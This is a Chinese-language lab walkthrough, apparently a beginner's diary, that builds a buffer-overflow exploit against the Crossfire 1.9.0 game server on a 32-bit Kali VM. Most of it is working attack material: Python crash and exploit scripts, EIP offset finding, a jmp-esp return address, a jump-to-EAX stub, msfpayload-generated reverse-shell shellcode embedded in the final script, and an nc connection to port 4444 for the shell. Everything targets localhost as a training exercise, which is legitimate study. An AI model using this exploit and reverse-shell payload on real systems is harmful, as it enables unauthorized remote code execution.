Linux系統下穿越火線-緩衝區溢位

原理：crossfire 1.9.0 版本接受入站 socket 連線時存在緩衝區溢位漏洞。

工具：

除錯工具：edb；

###python在漏洞溢位方面的滲透測試和漏洞攻擊中，具有很大的優勢

實驗物件：crossfire【多人線上RPG遊戲】

執行平臺：Kali i686 虛擬機器【32位，計算機CPU位數是指地址匯流排位數，64位系統的定址空間為2^64，定址過大，難以處理，為了簡化本章操作，所以選用32位】

搭建實驗環境

#linux中，遊戲需安裝帶其game資料夾

伺服器端程式

[email protected]:~# cd \Desktop
 
[email protected]:~/Desktop# ls
crossfire.tar.gz
[email protected]:~/Desktop# mv crossfire.tar.gz /usr/games
[email protected]:~/Desktop# cd /usr/games/
[email protected]:/usr/games# ls
crossfire.tar.gz
[email protected]:/usr/games# tar zxpf crossfire.tar.gz
[email protected]:/usr/games# ls -lh
total 4.8M
drwxr-xr-x 8 root root 4.0K Feb 10  2010 crossfire
-rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz
 
[email protected]:/usr/games# cd crossfire/
[email protected]:/usr/games/crossfire# cd bin/
[email protected]:/usr/games/crossfire/bin# ls
crossedit  crossfire-config  crossloop.pl   player_dl.pl
crossfire  crossloop         crossloop.web
[email protected]:/usr/games/crossfire/bin# 

#若出現缺少什麼元件，可以相應去安裝一下，只要看到出現waiting for connect，則基本沒問題
檢視埠開放情況【13327】

[email protected]:~# netstat -pantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:13327           0.0.0.0:*               LISTEN      4147/./crossfire    
udp        0      0 0.0.0.0:68              0.0.0.0:*                           629/dhclient        

除錯工具

###也可用命令列來開啟

DEP、ASLR、堆疊cookies、堆疊粉碎

iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通過本機訪問本地網絡卡的13327

iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP   #只有通過本機訪問本地網絡卡4444

[email protected]:~# iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
[email protected]:~# iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
[email protected]:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  anywhere            !localhost            tcp dpt:13327
DROP       tcp  --  anywhere            !localhost            tcp dpt:4444

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[email protected]:~# 

使用edb除錯工具啟動服務進行除錯

edb --run /usr/games/crossfire/bin/crossfire

#需要重複點選兩個Debug->run

檢視EIP等暫存器地址，需要雙擊

#!/usr/bin/python

import socket

host = "127.0.0.1"
crash = "\x41" * 4379           ###crossfire必須在傳送數值大小在一個固定數值的時候才能發生緩衝區溢位，只有當傳送4379字元時，才能精確到溢位位置###
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,1327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

edb中一旦緩衝區溢位發生，無法進行下一條指令，會有告警彈窗

可確認存在緩衝區溢位漏洞

#通過修改傳送“A”的數值，可驗證只有當字元數量為4379才能精確修改EIP暫存器

/usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379

將唯一字串新增到02.py

雙擊EIP

使用./pattren_offset.rb計算偏移量

則4368後四個字元為EIP地址

驗證位置03.py

檢視ESP資料部分Fellow in Dump

###因為ESP只能添7個字元才能精確修改EIP，所以shellcode不能放在ESP暫存器中。因此在剩下的暫存器中尋找

逐個查詢，發現EAX可用

【因為setup sound為伺服器指令，所以前十二個字元須先發送setup sound】

存在一個理論，直接在EAX的地址上加上12，可實現跳轉，但是很大可能換一臺機器後可能無法實現溢位，因為不同系統的EAX地址可能不一樣

第一階段shellcode：從ESP【7個位元組】 跳轉到 EAX，在ESP中實現偏移12位字元

###一個5個位元組，足夠插進ESP中，實現跳轉到EAX

\x83\xc0\x0c\xff\xe0\x90\x90      #\x90：跳轉字元,防止被過濾【計算機讀入資料順序與人類閱讀順序相反】

04.py

檢視ESP

#因為ESP的記憶體地址也不是固定的，所以需在系統中尋找固定跳轉模組

利用edb中的外掛Opcode search

使用第一個程序08048000，只要程式在執行，這個程序將一直存在，可以用於尋找jmp esp

###EIP->jmp ESP->ESP->EAX

###\x00\x0a\x0d\x20

將256個編碼放進指令碼中逐一查詢

設定斷點（0x08134597）

EIP——08134597

則EIP跳轉地址為

crash = "\x41" * 4368 + "\x97\x45\x13\x08"【EIP】 + "\x83\xc0\x0c\xff\xe0\x90\x90"【EAX】

設定斷點

->執行[F9]

按F8執行下一步

再按F8就跳入ESP暫存器

將4368個字元中，替換成shellcode，剩餘位繼續填充”A“【需計算shellcode字元數量】

生成shellcode姿勢

[email protected]:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

注：在生成shellcode時，如果生成的shellcode不正確，可通過重啟，解決

#!/usr/bin/python

import socket

host = "127.0.0.1"

shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

#開啟偵聽4444埠【當有人連線4444的時候，則getshell】

nc  127.0.0.1 4444 ###獲得shell

小白日記，未完待續……